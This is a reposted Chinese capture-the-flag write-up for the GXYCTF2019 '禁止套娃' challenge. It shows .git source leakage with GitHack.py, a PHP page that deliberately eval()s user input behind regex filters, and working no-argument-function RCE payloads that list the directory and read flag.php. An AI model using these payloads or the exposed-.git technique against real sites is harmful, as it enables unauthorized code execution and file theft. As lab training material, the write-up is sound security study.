IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [GXYCTF2019]禁止套娃 -> 正文阅读

[PHP知识库][GXYCTF2019]禁止套娃

这题多少有点变态
首先是 git源码泄露,使用 lijiejie的 GitHack.py 获取 .git源码

python2 GitHack.py http://b83677d6-46c1-46e1-b740-8dc6102420b6.node4.buuoj.cn/.git

index.php
代码分析一波

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    // **第一关**  过滤了data:// filter:// php:// phar://  常用的伪协议,防止我们直接读取flag.php
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    // **第二关**  表示只能使用无参数函数 形如 a(b())
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    // **第三关**  过滤一些函数 如 phpinfo() hex()等函数
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

尝试绕过半天,第二关实在是过不了,查看WP,学到一个新的知识(无参RCE)

尝试列出当前目录下文件 print_r(scandir(’.’));
显然这样是行不通的,因为scandir(’.’),传入了一个点,那么我梦思考可以用什么代替这个点。
pos(localeconv()) 可以表示点 localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 取数组中的当前元素的值 是current()函数的别名 print_r(scandir(pos(localeconv())));
列出当前目录下文件
Array ( [0] => . [1] => … [2] => .git [3] => flag.php [4] =>> index.php ) 接下来是如何取到flag.php的值,到这里又卡住了,从WP得知可以使用 array_reverse() array_flip() array_rand 函数
array_reverse() 以相反的元素顺序返回数组;
array_flip() 交换数组的键和值
array_rand() 随机返回键名
最终payload:
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
因为有随机性所有到多刷新几次。
next() 输出数组中的当前元素和下一个元素的值
print_r(pos(array_reverse(scandir(pos(localeconv()))))); 表示 index.php
print_r(next(array_reverse(scandir(pos(localeconv()))))); 表示flag.php
读取文件内容可以使用 readfile()、 show_source() 或者 highlight_file()函数

其他方法session_id(session_start())
php默认是不主动使用session的。 session_id()可以获取到当前的session id,PHPSESSID的cookie,并设置值为flag.php。
在这里插入图片描述

参考文章:https://my.oschina.net/u/4330242/blog/3312589

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-21 11:59:20  更:2021-10-21 11:59:35 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:03:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码